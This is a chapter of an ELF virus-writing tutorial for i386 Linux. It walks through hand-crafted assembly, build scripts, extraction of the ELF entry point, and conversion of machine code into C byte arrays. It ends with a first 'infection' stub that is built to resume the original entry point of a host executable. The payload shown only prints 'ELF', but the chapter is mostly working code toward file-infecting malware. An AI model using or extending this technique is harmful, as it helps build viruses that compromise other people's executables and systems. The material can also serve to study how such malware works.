The ELF Virus Writing HOWTO: i386-redhat7.3-linux
Prev |  | Next

# 4. The language of evil

| "Evil does seek to maintain power by suppressing the truth." "Or by misleading the innocent."
| Spock and McCoy, "And The Children Shall Lead", star date 5029.5.

The code generated by gcc(1) is not suitable for a virus. So here comes hand crafted code. [1]

Source: src/evil_magic/i386_Linux_intel.S

    		BITS 32
    		global	_start
    _start:		push	byte 4
    		pop	eax		; eax = 4 = write(2)
    		xor	ebx,ebx
    		inc	ebx		; ebx = 1 = stdout
    		mov	ecx,0x08048001	; ecx = magic address
    		push	byte 3
    		pop	edx		; edx = 3 = three characters
    		int	0x80

    		xor	eax,eax
    		inc	eax		; eax = 1 = exit(2)
    		xor	ebx,ebx		; ebx = 0 = return code
    		int	0x80

Command: pre/i386-redhat7.3-linux/evil_magic/intel.sh

    #!/bin/bash
    src=${1:-./src/evil_magic/i386_Linux_intel.S}
    exe=${2:-tmp/i386-redhat7.3-linux/evil_magic/intel}
    obj=${exe}.o

    /usr/bin/nasm -f elf -o ${obj} ${src} \
    && /usr/bin/ld -o ${exe} ${obj} \
    && /usr/bin/strip ${exe} \
    && ${exe}

Output: out/i386-redhat7.3-linux/evil_magic/intel

    ELF

Output is good. But how do we get the resulting machine code? We can't just add a call to printf(3) to the assembly code. Above example is not linked with glibc; it does not even have a function called `main`.

## 4.1. Offset of e_entry

On the other hand things became a lot easier. There is no initialization code that gets executed before `_start`, so the address of `_start` is really the ELF entry point of the executable.

Source: pre/i386-redhat7.3-linux/evil_magic/ofs_entry.c

    #include <stddef.h>
    #include <stdio.h>
    #include <elf.h>

    #define SIZEOF_TYPE(type) \
       printf("sizeof_" #type "=%lu\n", (unsigned long)sizeof(type))
    #define OFFSETOF(struct, member) \
      printf("offset_" #member "=%lu\n", \
        (unsigned long)offsetof(struct, member))
    #define SIZEOF_MEMBER(struct, member) \
       printf("sizeof_" #member "=%lu\n", \
         (unsigned long)sizeof(((struct*)0)->e_entry))

    int main()
    {
      SIZEOF_TYPE(int);
      SIZEOF_TYPE(long);
      SIZEOF_TYPE(size_t);
      SIZEOF_TYPE(Elf32_Ehdr);
      SIZEOF_TYPE(Elf32_Shdr);
      SIZEOF_TYPE(Elf32_Phdr);
      OFFSETOF(Elf32_Ehdr, e_entry);
      SIZEOF_MEMBER(Elf32_Ehdr, e_entry);
      OFFSETOF(Elf32_Ehdr, e_phoff);
      SIZEOF_MEMBER(Elf32_Ehdr, e_phoff);
      return 0;
    }

Output: out/i386-redhat7.3-linux/evil_magic/ofs_entry

    sizeof_int=4
    sizeof_long=4
    sizeof_size_t=4
    sizeof_Elf32_Ehdr=52
    sizeof_Elf32_Shdr=40
    sizeof_Elf32_Phdr=32
    offset_e_entry=24
    sizeof_e_entry=4
    offset_e_phoff=28
    sizeof_e_phoff=4

It's interesting that `e_entry` is at the same offset in both Elf32_Ehdr and Elf64_Ehdr (of course the size of the field is different).

The classic approach to extract this value from an executable is a combination of dd(1) and od(1). A first (and useless) prototype:

Command: pre/i386-redhat7.3-linux/evil_magic/od.sh

    #!/bin/bash
    file=${1:-tmp/i386-redhat7.3-linux/evil_magic/intel}
    /bin/dd if=${file} bs=1 skip=24 count=8 | /usr/bin/od -x

Output: out/i386-redhat7.3-linux/evil_magic/od

    0000000 8080 0804 0034 0000
    0000010

`dd` can be replaced by od -j 24 on Solaris and Linux. FreeBSD's implementation spells that od +24. FreeBSD and Linux also provide hexdump -s 24. But unfortunately neither the traditional `od` nor the modern `hexdump` on FreeBSD can process 8 byte values. Still worse, I know one installation of alpha-freebsd where `perl` is compiled without 64-bit support. To reliably cover 64-bit platforms (especially big endian Ultra-Sparc) we need more power.

## 4.2. Extracting e_entry

Source: src/evil_magic/e_entry.c

    #include <stdio.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <elf.h>

    #include <config.h>

    int main(int argc, char** argv)
    {
      const char* p;
      TEVWH_ELF_EHDR ehdr;

      while(0 != (p = *++argv))
      {
        int fd = open(p, O_RDONLY);
        if (fd != -1 && sizeof(ehdr) == read(fd, &ehdr, sizeof(ehdr)))
        { /* print both entry point and offset */
          /* lower case is required to match with objdump's disassembly */
          printf("%lx %lu\n", ehdr.e_entry, ehdr.e_entry - TEVWH_ELF_BASE);
        }
      }
      return 0;
    }

Command: pre/i386-redhat7.3-linux/evil_magic/e_entry.sh

    #!/bin/bash
    tmp/i386-redhat7.3-linux/evil_magic/e_entry \
    	tmp/i386-redhat7.3-linux/evil_magic/intel

Output: out/i386-redhat7.3-linux/evil_magic/e_entry

    8048080 128

The entry point is specified as a virtual address in memory. By subtracting the base address we get the file offset.

> Offset of entry point in file:

> `0x8048080 - 0x8048000 = 0x80 = 128`

## 4.3. Devil in disguise

Command: pre/i386-redhat7.3-linux/evil_magic/ndisasm.sh

    #!/bin/bash
    read entry_point ofs \
    < out/i386-redhat7.3-linux/evil_magic/e_entry

    /usr/bin/ndisasm -e ${ofs} -o 0x${entry_point} -U \
    	tmp/i386-redhat7.3-linux/evil_magic/intel \
    | /bin/sed 12q

Output: out/i386-redhat7.3-linux/evil_magic/intel.asm

    08048080  6A04              push byte +0x4
    08048082  58                pop eax
    08048083  31DB              xor ebx,ebx
    08048085  43                inc ebx
    08048086  B901800408        mov ecx,0x8048001
    0804808B  6A03              push byte +0x3
    0804808D  5A                pop edx
    0804808E  CD80              int 0x80
    08048090  31C0              xor eax,eax
    08048092  40                inc eax
    08048093  31DB              xor ebx,ebx
    08048095  CD80              int 0x80

There is still one thing left: Dressing up the hex dump as C source. We use the script from Dressing up binary code.

Output = Source: out/i386-redhat7.3-linux/evil_magic/evil_magic.c

    const unsigned char main[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x6A,0x04,                     /* 08048080: push byte +0x4         */
      0x58,                          /* 08048082: pop eax                */
      0x31,0xDB,                     /* 08048083: xor ebx,ebx            */
      0x43,                          /* 08048085: inc ebx                */
      0xB9,0x01,0x80,0x04,0x08,      /* 08048086: mov ecx,0x8048001      */
      0x6A,0x03,                     /* 0804808B: push byte +0x3         */
      0x5A,                          /* 0804808D: pop edx                */
      0xCD,0x80,                     /* 0804808E: int 0x80               */
      0x31,0xC0,                     /* 08048090: xor eax,eax            */
      0x40,                          /* 08048092: inc eax                */
      0x31,0xDB,                     /* 08048093: xor ebx,ebx            */
      0xCD,0x80                      /* 08048095: int 0x80               */
    }; /* 23 bytes (0x17) */

Calling the string constant `main` is not a mistake. Above output is a complete and valid C program.

Command: pre/i386-redhat7.3-linux/evil_magic/cc.sh

    #!/bin/bash
    /usr/bin/gcc -Wall -O1 -I . -I out/i386-redhat7.3-linux -D NDEBUG out/i386-redhat7.3-linux/evil_magic/evil_magic.c \
    	-o tmp/i386-redhat7.3-linux/evil_magic/cc \
    && tmp/i386-redhat7.3-linux/evil_magic/cc

Output: out/i386-redhat7.3-linux/evil_magic/cc

    out/i386-redhat7.3-linux/evil_magic/evil_magic.c:2: warning: `main' is usually a function
    ELF

## 4.4. Infection #1

Up to now our code is intended to be stand-alone. Obviously we must replace the call to exit(2). Instead we have to resume with the original code of the host executable. The last line of assembler code is used to specify the offset of a spot to patch with the original entry address. This ends up in the definition of `ENTRY_POINT_OFS` required by the framework in One step closer (i). Note the "`i1`" in the path of the file name. This is just the first implementation. It will be replaced later on.

Anyway, I think it's a better idea to let our code end with an unsuspicious `ret` instead of a `jmp`. And we can put the matching `push` at the start of the code to have the actual return address at a constant location. And while we are at it, saving all registers and the flags can't be bad.

Source: src/one_step_closer/i1/i386_Linux_intel.S

    		BITS 32
    start:		push	dword 0		; replace with original entry address
    		pushf
    		pusha

    		push	byte 4
    		pop	eax		; eax = 4 = write(2)
    		xor	ebx,ebx
    		inc	ebx		; ebx = 1 = stdout
    		mov	ecx,0x08048001	; ecx = magic address
    		push	byte 3
    		pop	edx		; edx = 3 = three characters
    		int	0x80

    		popa
    		popf
    		ret

    		push	byte start + 1	; dummy instruction to specify ofs

Command: pre/i386-redhat7.3-linux/one_step_closer/intel.sh

    #!/bin/bash
    dst=$1; shift
    full_dir=${dst%/*}
    inf_dir=${full_dir##*/}
    tmp_dst=tmp/i386-redhat7.3-linux/one_step_closer/${inf_dir}/infection

    /usr/bin/nasm -f bin -o ${tmp_dst} \
    	./src/one_step_closer/${inf_dir}/i386_Linux_intel.S \
    && /usr/bin/ndisasm -U ${tmp_dst} \
    | ./src/platform/disasm.pl \
    	"-last_line_is_ofs=" \
    	"-identifier=infection" \
    	"$@" > ${dst}

Output = Source: out/i386-redhat7.3-linux/one_step_closer/i1/infection.inc

    const unsigned char infection[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x68,0x00,0x00,0x00,0x00,      /* 00000000: push dword 0x0         */
      0x9C,                          /* 00000005: pushf                  */
      0x60,                          /* 00000006: pusha                  */
      0x6A,0x04,                     /* 00000007: push byte +0x4         */
      0x58,                          /* 00000009: pop eax                */
      0x31,0xDB,                     /* 0000000A: xor ebx,ebx            */
      0x43,                          /* 0000000C: inc ebx                */
      0xB9,0x01,0x80,0x04,0x08,      /* 0000000D: mov ecx,0x8048001      */
      0x6A,0x03,                     /* 00000012: push byte +0x3         */
      0x5A,                          /* 00000014: pop edx                */
      0xCD,0x80,                     /* 00000015: int 0x80               */
      0x61,                          /* 00000017: popa                   */
      0x9D,                          /* 00000018: popf                   */
      0xC3                           /* 00000019: ret                    */
    }; /* 28 bytes (0x1c) */
    enum { ENTRY_POINT_OFS = 0x1 };

### Notes

[1] | Optimized for size. Twenty three is the perfect number of bytes. See http://www.goethe.de/uk/mon/archiv/gh00/e23.htm

Prev | Home | Next
Magic revealed |  | Segments